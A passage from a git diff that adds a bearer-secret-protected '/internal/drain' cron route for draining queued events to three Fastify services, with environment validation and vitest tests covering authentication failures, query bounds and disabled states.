(!isDrainableBroker(deps.broker)) { + throw new AppError('CONFLICT', 'The configured messaging driver has nothing to drain'); + } + + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit, + }); + const durationMs = Date.now() - startedAt; + + request.log.info({ ...result, duration_ms: durationMs }, 'drained queued events'); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + + for (const path of DRAIN_PATHS) { + app.get(path, handle); + app.post(path, handle); + } +} diff --git a/services/learning/test/drain-route.test.ts b/services/learning/test/drain-route.test.ts new file mode 100644 index 0000000..af010d8 --- /dev/null +++ b/services/learning/test/drain-route.test.ts @@ -0,0 +1,212 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadLearningServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1; the drain route never reaches the database. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_drain_route'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 2, failed: 1, dead: 0, purged: 3 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +function build( + broker: DrainableBroker | ReturnType, + envOverrides: Record = { CRON_SECRET: SECRET }, +): FastifyInstance { + const env = loadLearningServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4008', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +describe('learning-service /internal/drain', () => { + it('answers 503 and never drains when CRON_SECRET is not configured', async () => { + const broker = stubBroker(); + const app = build(broker, {}); + + for (const authorization of [undefined, `Bearer ${SECRET}`]) { + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + ...(authorization === undefined ? {} : { headers: { authorization } }), + }); + expect(response.statusCode).toBe(503); + expect(response.json().error.code).toBe('UPSTREAM_UNAVAILABLE'); + } + expect(broker.calls).toHaveLength(0); + }); + + it('answers 401 without a bearer token', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ method: 'POST', url: '/internal/drain' }); + + expect(response.statusCode).toBe(401); + expect(response.headers['www-authenticate']).toBe('Bearer'); + expect(response.json().error.code).toBe('UNAUTHENTICATED'); + expect(broker.calls).toHaveLength(0); + }); + + it.each([ + ['a wrong secret', 'Bearer not-the-secret'], + ['a truncated secret', `Bearer ${SECRET.slice(0, -1)}`], + ['an extended secret', `Bearer ${SECRET}0`], + ['another auth scheme', `Basic ${SECRET}`], + ['a bare secret', SECRET], + ])('answers 401 for %s', async (_label, authorization) => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization }, + }); + expect(response.statusCode).toBe(401); + } + expect(broker.calls).toHaveLength(0); + }); + + it('drains and returns the counts on POST and on the GET Vercel Cron actually sends', async () => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + expect(typeof response.json().duration_ms).toBe('number'); + } + expect(broker.calls).toEqual([ + { budgetMs: 20_000, limit: undefined }, + { budgetMs: 20_000, limit: undefined }, + ]); + }); + + it('serves the same protected handler at the service-scoped path a Vercel rewrite can target', async () => { + const broker = stubBroker(); + const app = build(broker); + const path = '/internal/learning/drain'; + + expect((await app.inject({ method: 'GET', url: path })).statusCode).toBe(401); + expect((await app.inject({ method: 'POST', url: path })).statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: path, + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + } + expect(broker.calls).toHaveLength(2); + }); + + it('passes a validated limit and time budget through to the broker', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=7&budget_ms=1500', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(200); + expect(broker.calls).toEqual([{ budgetMs: 1500, limit: 7 }]); + }); + + it('rejects a budget that would outlive the function, and checks credentials before the query', async () => { + const broker = stubBroker(); + const app = build(broker); + + const tooLong = await app.inject({ + method: 'POST', + url: '/internal/drain?budget_ms=60000', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(tooLong.statusCode).toBe(400); + + const badEverything = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=0', + headers: { authorization: 'Bearer nope' }, + }); + expect(badEverything.statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + }); + + it('reports 409 when the configured driver has nothing to drain', async () => { + const app = build(createBroker({ driver: 'memory', logger: createSilentLogger() })); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(409); + }); + + it('refuses to boot with a CRON_SECRET too short to be a secret', () => { + expect(() => + loadLearningServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4008', + SUPABASE_URL, + CRON_SECRET: 'short', + }), + ).toThrow(/CRON_SECRET/); + }); +}); diff --git a/services/learning/test/entrypoint.test.ts b/services/learning/test/entrypoint.test.ts index a1b1ced..ee4e844 100644 --- a/services/learning/test/entrypoint.test.ts +++ b/services/learning/test/entrypoint.test.ts @@ -134,6 +134,34 @@ describe('learning-service Vercel entrypoint', () => { for (const consumer of tracked.consumers) expect(consumer).toMatch(/^learning-service\./); }); + it('wires the postgres driver to a drain route that is closed to callers without the cron secret', async () => { + const secret = 'entrypoint-cron-secret-0123456789'; + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres', CRON_SECRET: secret }); + + const anonymous = await app.inject({ method: 'POST', url: '/internal/drain' }); + expect(anonymous.statusCode).toBe(401); + + // An authorized call reaches the postgres broker, which then finds no database to drain: a + // plain 500 (so Vercel Cron records a failure) rather than a hang or a silent 200. + const failed = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${secret}` }, + }); + expect(failed.statusCode).toBe(500); + }); + + it('keeps /internal/drain disabled on Vercel until CRON_SECRET is configured', async () => { + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres' }); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: 'Bearer anything-at-all-0123456789' }, + }); + expect(response.statusCode).toBe(503); + }); + it('serves /health through the default handler without any live infrastructure', async () => { const { default: handler } = await loadEntrypoint(); diff --git a/services/matching/src/app.ts b/services/matching/src/app.ts index a3487d7..87f6cd4 100644 --- a/services/matching/src/app.ts +++ b/services/matching/src/app.ts @@ -10,6 +10,7 @@ import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; import type { MatchingServiceEnv } from './env.js'; +import { drainRoute } from './http/routes/drain.js'; import { healthRoute } from './http/routes/health.js'; export interface AppDeps { @@ -90,6 +91,7 @@ export function buildApp(deps: AppDeps): FastifyInstance { healthRoute(app, deps); metricsRoute(app, metrics); + drainRoute(app, deps); return app; } diff --git a/services/matching/src/env.ts b/services/matching/src/env.ts index d507a09..1ed4f83 100644 --- a/services/matching/src/env.ts +++ b/services/matching/src/env.ts @@ -11,6 +11,12 @@ export const matchingServiceEnvSchema = z.object({ ...databaseEnvSchema.shape, ...httpEnvSchema.shape, ...messagingEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: z.string().min(16, 'CRON_SECRET must be at least 16 characters').optional(), }); export type MatchingServiceEnv = z.infer; diff --git a/services/matching/src/http/routes/drain.ts b/services/matching/src/http/routes/drain.ts new file mode 100644 index 0000000..08f25c0 --- /dev/null +++ b/services/matching/src/http/routes/drain.ts @@ -0,0 +1,66 @@ +import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; +import { z } from 'zod'; +import { isAuthorizedDrainRequest, isDrainableBroker } from '@atlas/messaging'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; + +/** + * Functions run with a 30s max duration (vercel.json). The budget is only + * checked between deliveries, so leave room for a handler that is mid-flight + * when it runs out. + */ +const DEFAULT_BUDGET_MS = 20_000; +const MAX_BUDGET_MS = 25_000; + +/** + * Every service shares one Vercel project, and vercel.json rewrites by public + * path, so four services cannot all be reached at `/internal/drain`. The + * service-scoped path is the one a rewrite can send to this function (and the + * one its cron targets); `/internal/drain` is the same handler, for local runs + * and manual triggers. + */ +const DRAIN_PATHS = ['/internal/drain', '/internal/matching/drain'] as const; + +const drainQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(1000).optional(), + budget_ms: z.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional(), +}); + +/** + * `/internal/drain` runs this service's queued event deliveries (see the + * `postgres` messaging driver). Vercel Cron triggers it with a GET carrying + * `Authorization: Bearer $CRON_SECRET`; POST is accepted for manual runs. + * Without a configured CRON_SECRET the route is disabled outright rather than + * open, so a missing variable can never expose it. + */ +export function drainRoute(app: FastifyInstance, deps: AppDeps): void { + const handle = async (request: FastifyRequest, reply: FastifyReply): Promise => { + const secret = deps.env.CRON_SECRET; + if (secret === undefined) { + throw new AppError('UPSTREAM_UNAVAILABLE', 'Event draining is not configured'); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header('www-authenticate', 'Bearer'); + throw new AppError('UNAUTHENTICATED', 'Missing or invalid drain credentials'); + } + if (!isDrainableBroker(deps.broker)) { + throw new AppError('CONFLICT', 'The configured messaging driver has nothing to drain'); + } + + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit, + }); + const durationMs = Date.now() - startedAt; + + request.log.info({ ...result, duration_ms: durationMs }, 'drained queued events'); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + + for (const path of DRAIN_PATHS) { + app.get(path, handle); + app.post(path, handle); + } +} diff --git a/services/matching/test/drain-route.test.ts b/services/matching/test/drain-route.test.ts new file mode 100644 index 0000000..076fbfb --- /dev/null +++ b/services/matching/test/drain-route.test.ts @@ -0,0 +1,207 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadMatchingServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +// Nothing listens on port 1; the drain route never reaches the database. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_drain_route'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 2, failed: 1, dead: 0, purged: 3 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +function build( + broker: DrainableBroker | ReturnType, + envOverrides: Record = { CRON_SECRET: SECRET }, +): FastifyInstance { + const env = loadMatchingServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4004', + LOG_LEVEL: 'fatal', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + }); + opened.push({ app, handle }); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +describe('matching-service /internal/drain', () => { + it('answers 503 and never drains when CRON_SECRET is not configured', async () => { + const broker = stubBroker(); + const app = build(broker, {}); + + for (const authorization of [undefined, `Bearer ${SECRET}`]) { + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + ...(authorization === undefined ? {} : { headers: { authorization } }), + }); + expect(response.statusCode).toBe(503); + expect(response.json().error.code).toBe('UPSTREAM_UNAVAILABLE'); + } + expect(broker.calls).toHaveLength(0); + }); + + it('answers 401 without a bearer token', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ method: 'POST', url: '/internal/drain' }); + + expect(response.statusCode).toBe(401); + expect(response.headers['www-authenticate']).toBe('Bearer'); + expect(response.json().error.code).toBe('UNAUTHENTICATED'); + expect(broker.calls).toHaveLength(0); + }); + + it.each([ + ['a wrong secret', 'Bearer not-the-secret'], + ['a truncated secret', `Bearer ${SECRET.slice(0, -1)}`], + ['an extended secret', `Bearer ${SECRET}0`], + ['another auth scheme', `Basic ${SECRET}`], + ['a bare secret', SECRET], + ])('answers 401 for %s', async (_label, authorization) => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization }, + }); + expect(response.statusCode).toBe(401); + } + expect(broker.calls).toHaveLength(0); + }); + + it('drains and returns the counts on POST and on the GET Vercel Cron actually sends', async () => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + expect(typeof response.json().duration_ms).toBe('number'); + } + expect(broker.calls).toEqual([ + { budgetMs: 20_000, limit: undefined }, + { budgetMs: 20_000, limit: undefined }, + ]); + }); + + it('serves the same protected handler at the service-scoped path a Vercel rewrite can target', async () => { + const broker = stubBroker(); + const app = build(broker); + const path = '/internal/matching/drain'; + + expect((await app.inject({ method: 'GET', url: path })).statusCode).toBe(401); + expect((await app.inject({ method: 'POST', url: path })).statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: path, + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + } + expect(broker.calls).toHaveLength(2); + }); + + it('passes a validated limit and time budget through to the broker', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=7&budget_ms=1500', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(200); + expect(broker.calls).toEqual([{ budgetMs: 1500, limit: 7 }]); + }); + + it('rejects a budget that would outlive the function, and checks credentials before the query', async () => { + const broker = stubBroker(); + const app = build(broker); + + const tooLong = await app.inject({ + method: 'POST', + url: '/internal/drain?budget_ms=60000', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(tooLong.statusCode).toBe(400); + + const badEverything = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=0', + headers: { authorization: 'Bearer nope' }, + }); + expect(badEverything.statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + }); + + it('reports 409 when the configured driver has nothing to drain', async () => { + const app = build(createBroker({ driver: 'memory', logger: createSilentLogger() })); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(409); + }); + + it('refuses to boot with a CRON_SECRET too short to be a secret', () => { + expect(() => + loadMatchingServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4004', + CRON_SECRET: 'short', + }), + ).toThrow(/CRON_SECRET/); + }); +}); diff --git a/services/matching/test/entrypoint.test.ts b/services/matching/test/entrypoint.test.ts index 9d3d99c..41cdf93 100644 --- a/services/matching/test/entrypoint.test.ts +++ b/services/matching/test/entrypoint.test.ts @@ -134,6 +134,34 @@ describe('matching-service Vercel entrypoint', () => { for (const consumer of tracked.consumers) expect(consumer).toMatch(/^matching-service\./); }); + it('wires the postgres driver to a drain route that is closed to callers without the cron secret', async () => { + const secret = 'entrypoint-cron-secret-0123456789'; + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres', CRON_SECRET: secret }); + + const anonymous = await app.inject({ method: 'POST', url: '/internal/drain' }); + expect(anonymous.statusCode).toBe(401); + + // An authorized call reaches the postgres broker, which then finds no database to drain: a + // plain 500 (so Vercel Cron records a failure) rather than a hang or a silent 200. + const failed = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${secret}` }, + }); + expect(failed.statusCode).toBe(500); + }); + + it('keeps /internal/drain disabled on Vercel until CRON_SECRET is configured', async () => { + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres' }); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: 'Bearer anything-at-all-0123456789' }, + }); + expect(response.statusCode).toBe(503); + }); + it('serves /health through the default handler without any live infrastructure', async () => { const { default: handler } = await loadEntrypoint(); diff --git a/services/referrals/src/app.ts b/services/referrals/src/app.ts index d861217..446ce4f 100644 --- a/services/referrals/src/app.ts +++ b/services/referrals/src/app.ts @@ -12,6 +12,7 @@ import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; import type { ReferralsServiceEnv } from './env.js'; import { createContactRoute } from './http/routes/create-contact.js'; +import { drainRoute } from './http/routes/drain.js'; import { healthRoute } from './http/routes/health.js'; import { listCompanyContactsRoute } from './http/routes/list-company-contacts.js'; import { listReferralsRoute } from './http/routes/list-referrals.js'; @@ -95,6 +96,7 @@ export function buildApp(deps: AppDeps): FastifyInstance { healthRoute(app, deps); metricsRoute(app, metrics); + drainRoute(app, deps); createContactRoute(app, deps); listCompanyContactsRoute(app, deps); listReferralsRoute(app, deps); diff --git a/services/referrals/src/env.ts b/services/referrals/src/env.ts index 7ab0401..71d9598 100644 --- a/services/referrals/src/env.ts +++ b/services/referrals/src/env.ts @@ -7,6 +7,12 @@ export const referralsServiceEnvSchema = z.object({ ...httpEnvSchema.shape, ...messagingEnvSchema.shape, ...supabaseAuthEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: z.string().min(16, 'CRON_SECRET must be at least 16 characters').optional(), }); export type ReferralsServiceEnv = z.infer; diff --git a/services/referrals/src/http/routes/drain.ts b/services/referrals/src/http/routes/drain.ts new file mode 100644 index 0000000..9fd514d --- /dev/null +++ b/services/referrals/src/http/routes/drain.ts @@ -0,0 +1,66 @@ +import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; +import { z } from 'zod'; +import { isAuthorizedDrainRequest, isDrainableBroker } from '@atlas/messaging'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; + +/** + * Functions run with a 30s max duration (vercel.json). The budget is only + * checked between deliveries, so leave room for a handler that is mid-flight + * when it runs out. + */ +const DEFAULT_BUDGET_MS = 20_000; +const MAX_BUDGET_MS = 25_000; + +/** + * Every service shares one Vercel project, and vercel.json rewrites by public + * path, so four services cannot all be reached at `/internal/drain`. The + * service-scoped path is the one a rewrite can send to this function (and the + * one its cron targets); `/internal/drain` is the same handler, for local runs + * and manual triggers. + */ +const DRAIN_PATHS = ['/internal/drain', '/internal/referrals/drain'] as const; + +const drainQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(1000).optional(), + budget_ms: z.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional(), +}); + +/** + * `/internal/drain` runs this service's queued event deliveries (see the + * `postgres` messaging driver). Vercel Cron triggers it with a GET carrying + * `Authorization: Bearer $CRON_SECRET`; POST is accepted for manual runs. + * Without a configured CRON_SECRET the route is disabled outright rather than + * open, so a missing variable can never expose it. + */ +export function drainRoute(app: FastifyInstance, deps: AppDeps): void { + const handle = async (request: FastifyRequest, reply: FastifyReply): Promise => { + const secret = deps.env.CRON_SECRET; + if (secret === undefined) { + throw new AppError('UPSTREAM_UNAVAILABLE', 'Event draining is not configured'); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header('www-authenticate', 'Bearer'); + throw new AppError('UNAUTHENTICATED', 'Missing or invalid drain credentials'); + } + if (!isDrainableBroker(deps.broker)) { + throw new AppError('CONFLICT', 'The configured messaging driver has nothing to drain'); + } + + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit, + }); + const durationMs = Date.now() - startedAt; + + request.log.info({ ...result, duration_ms: durationMs }, 'drained queued events'); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + + for (const path of DRAIN_PATHS) { + app.get(path, handle); + app.post(path, handle); + } +} diff --git a/services/referrals/test/drain-route.test.ts b/services/referrals/test/drain-route.test.ts new file mode 100644 index 0000000..ffdb9f2 --- /dev/null +++ b/services/referrals/test/drain-route.test.ts @@ -0,0 +1,212 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadReferralsServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1; the drain route never reaches the database. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_drain_route'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 2, failed: 1, dead: 0, purged: 3 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +function build( + broker: DrainableBroker | ReturnType, + envOverrides: Record = { CRON_SECRET: SECRET }, +): FastifyInstance { + const env = loadReferralsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4006', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +describe('referrals-service /internal/drain', () => { + it('answers 503 and never drains when CRON_SECRET is not configured', async () => { + const broker = stubBroker(); + const app = build(broker, {}); + + for (const authorization of [undefined, `Bearer ${SECRET}`]) { + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + ...(authorization === undefined ? {} : { headers: { authorization } }), + }); + expect(response.statusCode).toBe(503); + expect(response.json().error.code).toBe('UPSTREAM_UNAVAILABLE'); + } + expect(broker.calls).toHaveLength(0); + }); + + it('answers 401 without a bearer token', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ method: 'POST', url: '/internal/drain' }); + + expect(response.statusCode).toBe(401); + expect(response.headers['www-authenticate']).toBe('Bearer'); + expect(response.json().error.code).toBe('UNAUTHENTICATED'); + expect(broker.calls).toHaveLength(0); + }); + + it.each([ + ['a wrong secret', 'Bearer not-the-secret'], + ['a truncated secret', `Bearer ${SECRET.slice(0, -1)}`], + ['an extended secret', `Bearer ${SECRET}0`], + ['another auth scheme', `Basic ${SECRET}`], + ['a bare secret', SECRET], + ])('answers 401 for %s', async (_label, authorization) => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization }, + }); + expect(response.statusCode).toBe(401); + } + expect(broker.calls).toHaveLength(0); + }); + + it('drains and returns the counts on POST and on the GET Vercel Cron actually sends', async () => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + expect(typeof response.json().duration_ms).toBe('number'); + } + expect(broker.calls).toEqual([ + { budgetMs: 20_000, limit: undefined }, + { budgetMs: 20_000, limit: undefined }, + ]); + }); + + it('serves the same protected handler at the service-scoped path a Vercel rewrite can target', async () => { + const broker = stubBroker(); + const app = build(broker); + const path = '/internal/referrals/drain'; + + expect((await app.inject({ method: 'GET', url: path })).statusCode).toBe(401); + expect((await app.inject({ method: 'POST', url: path })).statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: path, + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + } + expect(broker.calls).toHaveLength(2); + }); + + it('passes a validated limit and time budget through to the broker', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=7&budget_ms=1500', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(200); + expect(broker.calls).toEqual([{ budgetMs: 1500, limit: 7 }]); + }); + + it('rejects a budget that would outlive the function, and checks credentials before the query', async () => { + const broker = stubBroker(); + const app = build(broker); + + const tooLong = await app.inject({ + method: 'POST', + url: '/internal/drain?budget_ms=60000', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(tooLong.statusCode).toBe(400); + + const badEverything = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=0', + headers: { authorization: 'Bearer nope' }, + }); + expect(badEverything.statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + }); + + it('reports 409 when the configured driver has nothing to drain', async () => { + const app = build(createBroker({ driver: 'memory', logger: createSilentLogger() })); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(409); + }); + + it('refuses to boot with a CRON_SECRET too short to be a secret', () => { + expect(() => + loadReferralsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4006', + SUPABASE_URL, + CRON_SECRET: 'short', + }), + ).toThrow(/CRON_SECRET/); + }); +}); diff --git a/services/referrals/test/entrypoint.test.ts b/services/referrals/test/entrypoint.test.ts index c368e28..5a96c2d 100644 --- a/services/referrals/test/entrypoint.test.ts +++ b/services/referrals/test/entrypoint.test.ts @@ -134,6 +134,34 @@ describe('referrals-service Vercel entrypoint', () => { for (const consumer of tracked.consumers) expect(consumer).toMatch(/^referrals-service\./); }); + it('wires the postgres driver to a drain route that is closed to callers without the cron secret', async () => { + const secret = 'entrypoint-cron-secret-0123456789'; + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres', CRON_SECRET: secret }); + + const anonymous = await app.inject({ method: 'POST', url: '/internal/drain' }); + expect(anonymous.statusCode).toBe(401); + + // An authorized call reaches the postgres broker, which then finds no database to drain: a + // plain 500 (so Vercel Cron records a failure) rather than a hang or a silent 200. + const failed = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${secret}` }, + }); + expect(failed.statusCode).toBe(500); + }); + + it('keeps /internal/drain disabled on Vercel until CRON_SECRET is configured', async () => { + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres' }); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: 'Bearer anything-at-all-0123456789' }, + }); + expect(response.statusCode).toBe(503); + }); + it('serves /health through the default handler without any live infrastructure', async () => { const { default: handler } = await loadEntrypoint(); From 